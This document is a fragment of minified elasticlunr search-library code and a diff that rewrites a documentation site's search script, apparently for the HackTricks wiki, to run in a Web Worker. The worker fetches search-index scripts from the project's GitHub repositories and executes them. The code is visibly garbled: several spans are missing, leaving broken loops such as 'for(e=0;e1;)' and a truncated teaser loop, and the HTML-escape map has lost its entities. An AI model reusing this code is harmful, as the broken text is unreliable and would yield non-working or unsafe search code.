i;try{i=JSON.parse(e),this.buildUserConfig(i,n)}catch(o){t.utils.warn("user configuration parse failed, will use default configuration"),this.buildDefaultConfig(n)}},t.Configuration.prototype.buildDefaultConfig=function(e){this.reset(),e.forEach(function(e){this.config[e]={boost:1,bool:"OR",expand:!1}},this)},t.Configuration.prototype.buildUserConfig=function(e,n){var i="OR",o=!1;if(this.reset(),"bool"in e&&(i=e.bool||i),"expand"in e&&(o=e.expand||o),"fields"in e)for(var r in e.fields)if(n.indexOf(r)>-1){var s=e.fields[r],u=o;void 0!=s.expand&&(u=s.expand),this.config[r]={boost:s.boost||0===s.boost?s.boost:1,bool:s.bool||i,expand:u}}else t.utils.warn("field name in user configuration not found in index instance fields");else this.addAllFields2UserConfig(i,o,n)},t.Configuration.prototype.addAllFields2UserConfig=function(e,t,n){n.forEach(function(n){this.config[n]={boost:1,bool:e,expand:t}},this)},t.Configuration.prototype.get=function(){return this.config},t.Configuration.prototype.reset=function(){this.config={}},lunr.SortedSet=function(){this.length=0,this.elements=[]},lunr.SortedSet.load=function(e){var t=new this;return t.elements=e,t.length=e.length,t},lunr.SortedSet.prototype.add=function(){var e,t;for(e=0;e1;){if(r===e)return o;e>r&&(t=o),r>e&&(n=o),i=n-t,o=t+Math.floor(i/2),r=this.elements[o]}return r===e?o:-1},lunr.SortedSet.prototype.locationFor=function(e){for(var t=0,n=this.elements.length,i=n-t,o=t+Math.floor(i/2),r=this.elements[o];i>1;)e>r&&(t=o),r>e&&(n=o),i=n-t,o=t+Math.floor(i/2),r=this.elements[o];return r>e?o:e>r?o+1:void 0},lunr.SortedSet.prototype.intersect=function(e){for(var t=new lunr.SortedSet,n=0,i=0,o=this.length,r=e.length,s=this.elements,u=e.elements;;){if(n>o-1||i>r-1)break;s[n]!==u[i]?s[n]u[i]&&i++:(t.add(s[n]),n++,i++)}return t},lunr.SortedSet.prototype.clone=function(){var e=new lunr.SortedSet;return e.elements=this.toArray(),e.length=e.elements.length,e},lunr.SortedSet.prototype.union=function(e){var t,n,i;this.length>=e.length?(t=this,n=e):(t=e,n=this),i=t.clone();for(var o=0,r=n.toArray();o { "use strict"; - window.search = window.search || {}; - (function search(search) { - // Search functionality - // - // You can use !hasFocus() to prevent keyhandling in your key - // event handlers while the user is typing their search. - - if (!Mark || !elasticlunr) { - return; + + /* ───────────── 0. helpers (main thread) ───────────── */ + const clear = el => { while (el.firstChild) el.removeChild(el.firstChild); }; + + /* ───────────── 1. Web‑Worker code ─────────────────── */ + const workerCode = ` + self.window = self; + self.search = self.search || {}; + const abs = p => location.origin + p; + + /* 1 — elasticlunr */ + try { importScripts('https://cdn.jsdelivr.net/npm/elasticlunr@0.9.5/elasticlunr.min.js'); } + catch { importScripts(abs('/elasticlunr.min.js')); } + + /* 2 — load a single index (remote → local) */ + async function loadIndex(remote, local, isCloud=false){ + let rawLoaded = false; + try { + const r = await fetch(remote,{mode:'cors'}); + if (!r.ok) throw new Error('HTTP '+r.status); + importScripts(URL.createObjectURL(new Blob([await r.text()],{type:'application/javascript'}))); + rawLoaded = true; + } catch(e){ console.warn('remote',remote,'failed →',e); } + if(!rawLoaded){ + try { importScripts(abs(local)); rawLoaded = true; } + catch(e){ console.error('local',local,'failed →',e); } } - - //IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith - if (!String.prototype.startsWith) { - String.prototype.startsWith = function(search, pos) { - return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search; - }; - } - - var search_wrap = document.getElementById('search-wrapper'), - search_modal = document.getElementById('search-modal'), - searchbar = document.getElementById('searchbar'), - searchbar_outer = document.getElementById('searchbar-outer'), - searchresults = document.getElementById('searchresults'), - searchresults_outer = document.getElementById('searchresults-outer'), - searchresults_header = document.getElementById('searchresults-header'), - searchicon = document.getElementById('search-toggle'), - content = document.getElementById('content'), - - searchindex = null, - doc_urls = [], - results_options = { - teaser_word_count: 30, - limit_results: 30, - }, - search_options = { - bool: "AND", - expand: true, - fields: { - title: {boost: 1}, - body: {boost: 1}, - breadcrumbs: {boost: 0} - } - }, - mark_exclude = [], - marker = new Mark(content), - current_searchterm = "", - URL_SEARCH_PARAM = 'search', - URL_MARK_PARAM = 'highlight', - teaser_count = 0, - - SEARCH_HOTKEY_KEYCODE = 83, - ESCAPE_KEYCODE = 27, - DOWN_KEYCODE = 40, - UP_KEYCODE = 38, - SELECT_KEYCODE = 13; - - function hasFocus() { - return searchbar === document.activeElement; - } - - function removeChildren(elem) { - while (elem.firstChild) { - elem.removeChild(elem.firstChild); - } - } - - // Helper to parse a url into its building blocks. - function parseURL(url) { - var a = document.createElement('a'); - a.href = url; - return { - source: url, - protocol: a.protocol.replace(':',''), - host: a.hostname, - port: a.port, - params: (function(){ - var ret = {}; - var seg = a.search.replace(/^\?/,'').split('&'); - var len = seg.length, i = 0, s; - for (;i': '>', - '"': '"', - "'": ''' - }; - var repl = function(c) { return MAP[c]; }; - return function(s) { - return s.replace(/[&<>'"]/g, repl); - }; - })(); - - function formatSearchMetric(count, searchterm) { - if (count == 1) { - return count + " search result for '" + searchterm + "':"; - } else if (count == 0) { - return "No search results for '" + searchterm + "'."; - } else { - return count + " search results for '" + searchterm + "':"; - } - } - - function formatSearchResult(result, searchterms) { - var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms); - teaser_count++; - - // The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor - var url = doc_urls[result.ref].split("#"); - if (url.length == 1) { // no anchor found - url.push(""); - } - - // encodeURIComponent escapes all chars that could allow an XSS except - // for '. Due to that we also manually replace ' with its url-encoded - // representation (%27). - var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27"); - - return '' + result.doc.breadcrumbs - + '' - + teaser + '' + ''; - } - - function makeTeaser(body, searchterms) { - // The strategy is as follows: - // First, assign a value to each word in the document: - // Words that correspond to search terms (stemmer aware): 40 - // Normal words: 2 - // First word in a sentence: 8 - // Then use a sliding window with a constant number of words and count the - // sum of the values of the words within the window. Then use the window that got the - // maximum sum. If there are multiple maximas, then get the last one. - // Enclose the terms in . - var stemmed_searchterms = searchterms.map(function(w) { - return elasticlunr.stemmer(w.toLowerCase()); - }); - var searchterm_weight = 40; - var weighted = []; // contains elements of ["word", weight, index_in_document] - // split in sentences, then words - var sentences = body.toLowerCase().split('. '); - var index = 0; - var value = 0; - var searchterm_found = false; - for (var sentenceindex in sentences) { - var words = sentences[sentenceindex].split(' '); - value = 8; - for (var wordindex in words) { - var word = words[wordindex]; - if (word.length > 0) { - for (var searchtermindex in stemmed_searchterms) { - if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) { - value = searchterm_weight; - searchterm_found = true; - } - }; - weighted.push([word, value, index]); - value = 2; - } - index += word.length; - index += 1; // ' ' or '.' if last word in sentence - }; - index += 1; // because we split at a two-char boundary '. ' - }; - - if (weighted.length == 0) { - return body; - } - - var window_weight = []; - var window_size = Math.min(weighted.length, results_options.teaser_word_count); - - var cur_sum = 0; - for (var wordindex = 0; wordindex < window_size; wordindex++) { - cur_sum += weighted[wordindex][1]; - }; - window_weight.push(cur_sum); - for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) { - cur_sum -= weighted[wordindex][1]; - cur_sum += weighted[wordindex + window_size][1]; - window_weight.push(cur_sum); - }; - - if (searchterm_found) { - var max_sum = 0; - var max_sum_window_index = 0; - // backwards - for (var i = window_weight.length - 1; i >= 0; i--) { - if (window_weight[i] > max_sum) { - max_sum = window_weight[i]; - max_sum_window_index = i; - } - }; - } else { - max_sum_window_index = 0; - } - - // add around searchterms - var teaser_split = []; - var index = weighted[max_sum_window_index][2]; - for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) { - var word = weighted[i]; - if (index < word[2]) { - // missing text from index to start of `word` - teaser_split.push(body.substring(index, word[2])); - index = word[2]; - } - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - index = word[2] + word[0].length; - teaser_split.push(body.substring(word[2], index)); - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - }; - - return teaser_split.join(''); - } - - function init(config) { - results_options = config.results_options; - search_options = config.search_options; - searchbar_outer = config.searchbar_outer; - doc_urls = config.doc_urls; - searchindex = elasticlunr.Index.load(config.index); - - // Set up events - searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false); - searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false); - document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false); - // If the user uses the browser buttons, do the same as if a reload happened - window.onpopstate = function(e) { doSearchOrMarkFromUrl(); }; - // Suppress "submit" events so the page doesn't reload when the user presses Enter - document.addEventListener('submit', function(e) { e.preventDefault(); }, false); - - // If reloaded, do the search or mark again, depending on the current url parameters - doSearchOrMarkFromUrl(); - } - - function unfocusSearchbar() { - // hacky, but just focusing a div only works once - var tmp = document.createElement('input'); - tmp.setAttribute('style', 'position: absolute; opacity: 0;'); - searchicon.appendChild(tmp); - tmp.focus(); - tmp.remove(); - } - - // On reload or browser history backwards/forwards events, parse the url and do search or mark - function doSearchOrMarkFromUrl() { - // Check current URL for search request - var url = parseURL(window.location.href); - if (url.params.hasOwnProperty(URL_SEARCH_PARAM) - && url.params[URL_SEARCH_PARAM] != "") { - showSearch(true); - searchbar.value = decodeURIComponent( - (url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20')); - searchbarKeyUpHandler(); // -> doSearch() - } else { - showSearch(false); - } - - if (url.params.hasOwnProperty(URL_MARK_PARAM)) { - var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' '); - marker.mark(words, { - exclude: mark_exclude - }); - - var markers = document.querySelectorAll("mark"); - function hide() { - for (var i = 0; i < markers.length; i++) { - markers[i].classList.add("fade-out"); - window.setTimeout(function(e) { marker.unmark(); }, 300); - } - } - for (var i = 0; i < markers.length; i++) { - markers[i].addEventListener('click', hide); - } - } - } - - // Eventhandler for keyevents on `document` - function globalKeyHandler(e) { - if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; } - - if (e.keyCode === ESCAPE_KEYCODE) { - e.preventDefault(); - searchbar.classList.remove("active"); - setSearchUrlParameters("", - (searchbar.value.trim() !== "") ? "push" : "replace"); - if (hasFocus()) { - unfocusSearchbar(); - } - showSearch(false); - marker.unmark(); - } else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) { - e.preventDefault(); - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else if (hasFocus() && e.keyCode === DOWN_KEYCODE) { - e.preventDefault(); - unfocusSearchbar(); - searchresults.firstElementChild.classList.add("focus"); - } else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE - || e.keyCode === UP_KEYCODE - || e.keyCode === SELECT_KEYCODE)) { - // not `:focus` because browser does annoying scrolling - var focused = searchresults.querySelector("li.focus"); - if (!focused) return; - e.preventDefault(); - if (e.keyCode === DOWN_KEYCODE) { - var next = focused.nextElementSibling; - if (next) { - focused.classList.remove("focus"); - next.classList.add("focus"); - } - } else if (e.keyCode === UP_KEYCODE) { - focused.classList.remove("focus"); - var prev = focused.previousElementSibling; - if (prev) { - prev.classList.add("focus"); - } else { - searchbar.select(); - } - } else { // SELECT_KEYCODE - window.location.assign(focused.querySelector('a')); - } - } - } - - function showSearch(yes) { - if (yes) { - search_wrap.classList.remove('hidden'); - searchicon.setAttribute('aria-expanded', 'true'); - } else { - search_wrap.classList.add('hidden'); - searchicon.setAttribute('aria-expanded', 'false'); - var results = searchresults.children; - for (var i = 0; i < results.length; i++) { - results[i].classList.remove("focus"); - } - } - } - - function showResults(yes) { - if (yes) { - searchresults_outer.classList.remove('hidden'); - } else { - searchresults_outer.classList.add('hidden'); - } - } - - // Eventhandler for search icon - function searchIconClickHandler() { - if (search_wrap.classList.contains('hidden')) { - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else { - showSearch(false); - } - } - - // Eventhandler for keyevents while the searchbar is focused - function searchbarKeyUpHandler() { - var searchterm = searchbar.value.trim(); - if (searchterm != "") { - searchbar.classList.add("active"); - doSearch(searchterm); - } else { - searchbar.classList.remove("active"); - showResults(false); - removeChildren(searchresults); - } - - setSearchUrlParameters(searchterm, "push_if_new_search_else_replace"); - - // Remove marks - marker.unmark(); - } - - // Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor . - // `action` can be one of "push", "replace", "push_if_new_search_else_replace" - // and replaces or pushes a new browser history item. - // "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet. - function setSearchUrlParameters(searchterm, action) { - var url = parseURL(window.location.href); - var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM); - if (searchterm != "" || action == "push_if_new_search_else_replace") { - url.params[URL_SEARCH_PARAM] = searchterm; - delete url.params[URL_MARK_PARAM]; - url.hash = ""; - } else { - delete url.params[URL_MARK_PARAM]; - delete url.params[URL_SEARCH_PARAM]; - } - // A new search will also add a new history item, so the user can go back - // to the page prior to searching. A updated search term will only replace - // the url. - if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) { - history.pushState({}, document.title, renderURL(url)); - } else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) { - history.replaceState({}, document.title, renderURL(url)); - } - } - - function doSearch(searchterm) { - - // Don't search the same twice - if (current_searchterm == searchterm) { return; } - else { current_searchterm = searchterm; } - - if (searchindex == null) { return; } - - // Do the actual search - var results = searchindex.search(searchterm, search_options); - var resultcount = Math.min(results.length, results_options.limit_results); - - // Display search metrics - searchresults_header.innerText = formatSearchMetric(resultcount, searchterm); - - // Clear and insert results - var searchterms = searchterm.split(' '); - removeChildren(searchresults); - for(var i = 0; i < resultcount ; i++){ - var resultElem = document.createElement('li'); - resultElem.innerHTML = formatSearchResult(results[i], searchterms); - searchresults.appendChild(resultElem); - } - - // Display results - showResults(true); - } - - (async function loadSearchIndex(lang = window.lang || "en") { - const branch = lang === "en" ? "master" : lang; - const rawUrl = - `https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/${branch}/searchindex.js`; - const localJs = "/searchindex.js"; - const TIMEOUT_MS = 10_000; - - const injectScript = (src) => - new Promise((resolve, reject) => { - const s = document.createElement("script"); - s.src = src; - s.onload = () => resolve(src); - s.onerror = (e) => reject(e); - document.head.appendChild(s); + if(!rawLoaded) return null; /* give up on this index */ + const data = { json:self.search.index, urls:self.search.doc_urls, cloud:isCloud }; + delete self.search.index; delete self.search.doc_urls; + return data; + } + + (async () => { + const MAIN_RAW = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/refs/heads/master/searchindex.js'; + const CLOUD_RAW = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/searchindex.js'; + + const indices = []; + const main = await loadIndex(MAIN_RAW , '/searchindex-book.js', false); if(main) indices.push(main); + const cloud= await loadIndex(CLOUD_RAW, '/searchindex.js', true ); if(cloud) indices.push(cloud); + + if(!indices.length){ postMessage({ready:false, error:'no-index'}); return; } + + /* build index objects */ + const built = indices.map(d => ({ + idx : elasticlunr.Index.load(d.json), + urls: d.urls, + cloud: d.cloud, + base: d.cloud ? 'https://cloud.hacktricks.wiki/' : '' + })); + + postMessage({ready:true}); + const MAX = 30, opts = {bool:'AND', expand:true}; + + self.onmessage = ({data:q}) => { + if(!q){ postMessage([]); return; } + + const all = []; + for(const s of built){ + const res = s.idx.search(q,opts); + if(!res.length) continue; + const max = res[0].score || 1; + res.forEach(r => { + const doc = s.idx.documentStore.getDoc(r.ref); + all.push({ + norm : r.score / max, + title: doc.title, + body : doc.body, + breadcrumbs: doc.breadcrumbs, + url : s.base + s.urls[r.ref], + cloud: s.cloud }); - - try { - /* 1 — download raw JS from GitHub */ - const controller = new AbortController(); - const timer = setTimeout(() => controller.abort(), TIMEOUT_MS); - - const res = await fetch(rawUrl, { signal: controller.signal }); - clearTimeout(timer); - if (!res.ok) throw new Error(`HTTP ${res.status}`); - - /* 2 — wrap in a Blob so the browser sees application/javascript */ - const code = await res.text(); - const blobUrl = URL.createObjectURL( - new Blob([code], { type: "application/javascript" }) - ); - - /* 3 — execute it */ - await injectScript(blobUrl); - - /* ───────────── PATCH ───────────── - heavy parsing now deferred to idle time - */ - requestIdleCallback(() => init(window.search)); - return; // ✔ UI remains responsive - } catch (eRemote) { - console.warn("Remote JS failed →", eRemote); - } - - /* ───────── fallback: local copy ───────── */ - try { - await injectScript(localJs); - - /* ───────────── PATCH ───────────── */ - requestIdleCallback(() => init(window.search)); - return; - } catch (eLocal) { - console.error("Local JS failed →", eLocal); - } - })(); - - // Exported functions - search.hasFocus = hasFocus; - })(window.search); \ No newline at end of file + }); + } + all.sort((a,b)=>b.norm-a.norm); + postMessage(all.slice(0,MAX)); + }; + })(); + `; + + /* ───────────── 2. spawn worker ───────────── */ + const worker = new Worker(URL.createObjectURL(new Blob([workerCode],{type:'application/javascript'}))); + + /* ───────────── 3. DOM refs ─────────────── */ + const wrap = document.getElementById('search-wrapper'); + const bar = document.getElementById('searchbar'); + const list = document.getElementById('searchresults'); + const listOut = document.getElementById('searchresults-outer'); + const header = document.getElementById('searchresults-header'); + const icon = document.getElementById('search-toggle'); + + const READY_ICON = icon.innerHTML; + icon.textContent = '⏳'; + icon.setAttribute('aria-label','Loading search …'); + + const HOT=83, ESC=27, DOWN=40, UP=38, ENTER=13; + let debounce, teaserCount=0; + + /* ───────────── helpers (teaser, metric) ───────────── */ + const escapeHTML = (()=>{const M={'&':'&','<':'<','>':'>','"':'"','\'':'''};return s=>s.replace(/[&<>'"]/g,c=>M[c]);})(); + const URL_MARK='highlight'; + function metric(c,t){return c?`${c} search result${c>1?'s':''} for '${t}':`:`No search results for '${t}'.`;} + + function makeTeaser(body,terms){ + const stem=w=>elasticlunr.stemmer(w.toLowerCase()); + const T=terms.map(stem),W_S=40,W_F=8,W_N=2,WIN=30; + const W=[],sents=body.toLowerCase().split('. '); + let i=0,v=W_F,found=false; + sents.forEach(s=>{v=W_F; s.split(' ').forEach(w=>{ if(w){ if(T.some(t=>stem(w).startsWith(t))){v=W_S;found=true;} W.push([w,v,i]); v=W_N;} i+=w.length+1; }); i++;}); + if(!W.length) return body; + const win=Math.min(W.length,WIN); + const sums=[W.slice(0,win).reduce((a,[,wt])=>a+wt,0)]; + for(let k=1;k<=W.length-win;k++) sums[k]=sums[k-1]-W[k-1][1]+W[k+win-1][1]; + const best=found?sums.lastIndexOf(Math.max(...sums)):0; + const out=[]; i=W[best][2]; + for(let k=best;k'); out.push(body.substr(pos,w.length)); if(wt===W_S) out.push(''); i=pos+w.length;} + return out.join(''); + } + + function format(d,terms){ + const teaser=makeTeaser(escapeHTML(d.body),terms); + teaserCount++; + const enc=encodeURIComponent(terms.join(' ')).replace(/'/g,'%27'); + const parts=d.url.split('#'); if(parts.length===1) parts.push(''); + const abs=d.url.startsWith('http'); + const href=`${abs?'':path_to_root}${parts[0]}?${URL_MARK}=${enc}#${parts[1]}`; + const style=d.cloud?" style=\"color:#1e88e5\"":""; + const isCloud=d.cloud?" [Cloud]":" [Book]"; + return ``+ + `${d.breadcrumbs}${isCloud}${teaser}`; + } + + /* ───────────── UI control ───────────── */ + function showUI(s){wrap.classList.toggle('hidden',!s); icon.setAttribute('aria-expanded',s); if(s){window.scrollTo(0,0); bar.focus(); bar.select();} else {listOut.classList.add('hidden'); [...list.children].forEach(li=>li.classList.remove('focus'));}} + function blur(){const t=document.createElement('input'); t.style.cssText='position:absolute;opacity:0;'; icon.appendChild(t); t.focus(); t.remove();} + + icon.addEventListener('click',()=>showUI(wrap.classList.contains('hidden'))); + + document.addEventListener('keydown',e=>{ + if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey) return; + const f=/^(?:input|select|textarea)$/i.test(e.target.nodeName); + if(e.keyCode===HOT && !f){e.preventDefault(); showUI(true);} else if(e.keyCode===ESC){e.preventDefault(); showUI(false); blur();} + else if(e.keyCode===DOWN && document.activeElement===bar){e.preventDefault(); const first=list.firstElementChild; if(first){blur(); first.classList.add('focus');}} + else if([DOWN,UP,ENTER].includes(e.keyCode) && document.activeElement!==bar){const cur=list.querySelector('li.focus'); if(!cur) return; e.preventDefault(); if(e.keyCode===DOWN){const nxt=cur.nextElementSibling; if(nxt){cur.classList.remove('focus'); nxt.classList.add('focus');}} else if(e.keyCode===UP){const prv=cur.previousElementSibling; cur.classList.remove('focus'); if(prv){prv.classList.add('focus');} else {bar.focus();}} else {const a=cur.querySelector('a'); if(a) window.location.assign(a.href);}} + }); + + bar.addEventListener('input',e=>{ clearTimeout(debounce); debounce=setTimeout(()=>worker.postMessage(e.target.value.trim()),120); }); + + /* ───────────── worker messages ───────────── */ + worker.onmessage = ({data}) => { + if(data && data.ready!==undefined){ + if(data.ready){ icon.innerHTML=READY_ICON; icon.setAttribute('aria-label','Open search (S)'); } + else { icon.textContent='❌'; icon.setAttribute('aria-label','Search unavailable'); } + return; + } + const docs=data, q=bar.value.trim(), terms=q.split(/\s+/).filter(Boolean); + header.textContent=metric(docs.length,q); + clear(list); + docs.forEach(d=>{const li=document.createElement('li'); li.innerHTML=format(d,terms); list.appendChild(li);}); + listOut.classList.toggle('hidden',!docs.length); + }; + })(); + \ No newline at end of file